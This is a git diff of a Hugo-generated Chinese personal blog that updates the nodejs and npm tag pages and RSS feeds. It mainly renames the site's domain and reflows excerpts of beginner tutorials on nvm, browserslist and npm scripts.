content="https://chenjunlinabc.github.io/tags/nodejs/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="nodejs"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>nodejs</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>NodeJS常用工具的简单使用</h2></header><div class=entry-content><p>npm在这里https://xiaochenabc123.test.com/archives/31.html
 Yarn在这里https://xiaochenabc123.test.com/archives/38.html
 nvm全名node.js version management
 用来nodejs多版本管理，可以切换和安装不同版本的nodejs
@@ -35,7 +35,7 @@
 安装指定版本的nodejs（如果已安装了这个版本，那么就会选择这个版本，这个命令可以用来安装和选择）
 n 14.17.3
 卸载指定版本
-n rm 14.17.3...</p></div><footer class=entry-footer><span title='2021-09-16 21:55:00 +0000 UTC'>2021-09-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to NodeJS常用工具的简单使用" href=https://xiaochenabc123.github.io/posts/105/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+n rm 14.17.3...</p></div><footer class=entry-footer><span title='2021-09-16 21:55:00 +0000 UTC'>2021-09-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to NodeJS常用工具的简单使用" href=https://chenjunlinabc.github.io/posts/105/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/nodejs/index.xml b/tags/nodejs/index.xml
index 71ad2e2f..3b884a8d 100644
--- a/tags/nodejs/index.xml
+++ b/tags/nodejs/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>nodejs on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/nodejs/</link>
+    <link>https://chenjunlinabc.github.io/tags/nodejs/</link>
     <description>Recent content in nodejs on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Thu, 16 Sep 2021 21:55:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/nodejs/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Thu, 16 Sep 2021 21:55:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/nodejs/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>NodeJS常用工具的简单使用</title>
-      <link>https://xiaochenabc123.github.io/posts/105/</link>
+      <link>https://chenjunlinabc.github.io/posts/105/</link>
       <pubDate>Thu, 16 Sep 2021 21:55:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/105/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/105/</guid>
       <description>npm在这里https://xiaochenabc123.test.com/archives/31.html
 Yarn在这里https://xiaochenabc123.test.com/archives/38.html
 nvm全名node.js version management
diff --git a/tags/nodejs/page/1/index.html b/tags/nodejs/page/1/index.html
index 9fdd3d5e..85bc220d 100644
--- a/tags/nodejs/page/1/index.html
+++ b/tags/nodejs/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/nodejs/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/nodejs/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/nodejs/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/nodejs/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/nodejs/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/nodejs/"></head></html>
\ No newline at end of file
diff --git a/tags/npm/index.html b/tags/npm/index.html
index 6d544db8..8bdbdb2b 100644
--- a/tags/npm/index.html
+++ b/tags/npm/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>npm | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/npm/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/npm/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="npm"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/npm/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="npm"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>npm</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>browserslist的简单配置</h2></header><div class=entry-content><p>browserslist是查询浏览器列表的工具，browserslisp的配置可写在package.json中，也可以单独写在.browserslistrc配置⽂件中
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>npm | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/npm/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/npm/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="npm"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/npm/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="npm"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>npm</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>browserslist的简单配置</h2></header><div class=entry-content><p>browserslist是查询浏览器列表的工具，browserslisp的配置可写在package.json中，也可以单独写在.browserslistrc配置⽂件中
 browserslist的配置文件会被Autoprefixer，Babel，postcss-preset-env，eslint-plugin-compat，stylelint-no-unsupported-browser-features，postcss-normalize，obsolete-webpack-plugin工具读取，并且对配置的目标浏览器做适配工作
 npx browserslist可查看根据条件输出的浏览器列表
 查看全球用户份额大于0.2%的浏览器
@@ -12,53 +12,28 @@
 and就是和，or是或者
 browserslist的配置
 package.json（browserslist官方推荐用这个）
-"browserslist": [
-'> 0.2%',
-'last 1 Chrome versions'
-'not dead'
-]
-或者写成
-"browserslist": [
-'> 0.2% and last 1 Chrome versions and not dead',
-]
-.browserslistrc
-> 0.2% and last 1 Chrome versions and not dead
-browserslist数据的优先级：当前项目的package....</p></div><footer class=entry-footer><span title='2022-03-12 10:00:00 +0000 UTC'>2022-03-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to browserslist的简单配置" href=https://xiaochenabc123.github.io/posts/140/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单了解并且使用npm script</h2></header><div class=entry-content><p>npm script是package.json中可以定义的脚本命令，可以用来实现自动化构建，例如：
-"scripts": {
-"dev": "node hallo.js"
-}
-npm run dev // 等于执行node hallo.js
+"browserslist": [ '> 0.2%', 'last 1 Chrome versions' 'not dead' ] 或者写成
+"browserslist": [ '> 0.2% and last 1 Chrome versions and not dead', ] .browserslistrc
+> 0.2% and last 1 Chrome versions and not dead browserslist数据的优先级：当前项目的package....</p></div><footer class=entry-footer><span title='2022-03-12 10:00:00 +0000 UTC'>2022-03-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to browserslist的简单配置" href=https://chenjunlinabc.github.io/posts/140/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单了解并且使用npm script</h2></header><div class=entry-content><p>npm script是package.json中可以定义的脚本命令，可以用来实现自动化构建，例如：
+"scripts": { "dev": "node hallo.js" } npm run dev // 等于执行node hallo.js
 查看当前项目的全部npm脚本
 npm run
 注意：当前项目的node_modules/bin下的全部依赖都可以直接访问
 如果要执行多个脚本可以用&&（依次运行），&（并行运行）
 npm script有pre和post两个钩子，这两个钩子可以分别来做准备工作和清理工作等等，例如：
-"scripts": {
-"predev": "echo hallo",
-"dev": "node hallo.js",
-"postdev": "echo yes"
-}
-相对于npm run predev && npm run dev && npm run postdev
+"scripts": { "predev": "echo hallo", "dev": "node hallo.js", "postdev": "echo yes" } 相对于npm run predev && npm run dev && npm run postdev
 像install，uninstall，publish，test，start等等都有pre和post这两个钩子
 查看正在运行的脚本
 const NpmScript = process.env.npm_lifecycle_event console.log(NpmScript)
 可以缩写不用run，例如：npm dev
 npm script可以使用npm内部变量，例如：
-{
-"name": "root", "scripts": {
-"dev": "node hallo.js $npm_package_name"
-}
-}
-获取npm内部变量name
+{ "name": "root", "scripts": { "dev": "node hallo.js $npm_package_name" } } 获取npm内部变量name
 console.log(process.env.npm_package_name)
 脚本错误抛出
-"scripts": {
-"test": "echo \"Error: no test specified\" && exit 1"
-}
-传递参数...</p></div><footer class=entry-footer><span title='2021-09-20 14:30:00 +0000 UTC'>2021-09-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解并且使用npm script" href=https://xiaochenabc123.github.io/posts/109/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>node.js包管理工具npm的简单使用</h2></header><div class=entry-content><p>npm是Node.js的默认包管理工具
+"scripts": { "test": "echo \"Error: no test specified\" && exit 1" } 传递参数...</p></div><footer class=entry-footer><span title='2021-09-20 14:30:00 +0000 UTC'>2021-09-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解并且使用npm script" href=https://chenjunlinabc.github.io/posts/109/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>node.js包管理工具npm的简单使用</h2></header><div class=entry-content><p>npm是Node.js的默认包管理工具
 安装npm：安装node.js(一般来说安装nodejs都会安装npm的)
 npm -v 查看npm版本号 node -v 查看node版本号 npm install nmp@latest -g 更新最新nmp，-g全局，没有加-g就是本地安装，或者在@后面加版本号来更新到指定版本的npm npm init -y 初始化 npm i 要安装的依赖 先检查有没有这个东西，有的话就下载下来 npm uninstall 要删除的依赖的名称 npm i 要安装的依赖@版本号 安装指定版本的依赖 npm update 依赖名称 安装最新的依赖或者更新npm npm init -y 使用默认的参数，去掉-y就是手动配置 npm run 对象名 执行脚本,引用package.json中的scripts对象，在对象中添加脚本 npm adduser 注册npm账号 npm publish 发布npm包 npm install 一键安装package.json文件里的所有依赖 npm install –dependencies 只安装package.json里的dependencies的文件 npm install –devDependencies 只安装package.json里的devDependencies文件 会自动将package.json中的模块安装到node-modules文件夹
-升级插件 npm-check-updates使用 npm install -g npm-check-updates 安装npm-check-updates插件 ncu 查看package.json中依赖的最新版本 ncu -u 更新依赖到最新版本 ncu -a 更新全部依赖到最新版本 npm update...</p></div><footer class=entry-footer><span title='2021-06-16 15:05:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to node.js包管理工具npm的简单使用" href=https://xiaochenabc123.github.io/posts/31/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+升级插件 npm-check-updates使用 npm install -g npm-check-updates 安装npm-check-updates插件 ncu 查看package.json中依赖的最新版本 ncu -u 更新依赖到最新版本 ncu -a 更新全部依赖到最新版本 npm update...</p></div><footer class=entry-footer><span title='2021-06-16 15:05:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to node.js包管理工具npm的简单使用" href=https://chenjunlinabc.github.io/posts/31/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/npm/index.xml b/tags/npm/index.xml
index 62556200..804f36e2 100644
--- a/tags/npm/index.xml
+++ b/tags/npm/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>npm on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/npm/</link>
+    <link>https://chenjunlinabc.github.io/tags/npm/</link>
     <description>Recent content in npm on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Sat, 12 Mar 2022 10:00:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/npm/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Sat, 12 Mar 2022 10:00:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/npm/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>browserslist的简单配置</title>
-      <link>https://xiaochenabc123.github.io/posts/140/</link>
+      <link>https://chenjunlinabc.github.io/posts/140/</link>
       <pubDate>Sat, 12 Mar 2022 10:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/140/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/140/</guid>
       <description>browserslist是查询浏览器列表的工具，browserslisp的配置可写在package.json中，也可以单独写在.browserslistrc配置⽂件中
 browserslist的配置文件会被Autoprefixer，Babel，postcss-preset-env，eslint-plugin-compat，stylelint-no-unsupported-browser-features，postcss-normalize，obsolete-webpack-plugin工具读取，并且对配置的目标浏览器做适配工作
 npx browserslist可查看根据条件输出的浏览器列表
@@ -32,42 +32,42 @@ not dead的意思是不输出官方不再维护的浏览器（例如ie10），de
 and就是和，or是或者
 browserslist的配置
 package.json（browserslist官方推荐用这个）
-&amp;quot;browserslist&amp;quot;: [
&#39;&amp;gt; 0.2%&#39;,
&#39;last 1 Chrome versions&#39;
&#39;not dead&#39;
]
或者写成
-&amp;quot;browserslist&amp;quot;: [
&#39;&amp;gt; 0.2% and last 1 Chrome versions and not dead&#39;,
]
.browserslistrc
-&amp;gt; 0.2% and last 1 Chrome versions and not dead
browserslist数据的优先级：当前项目的package.</description>
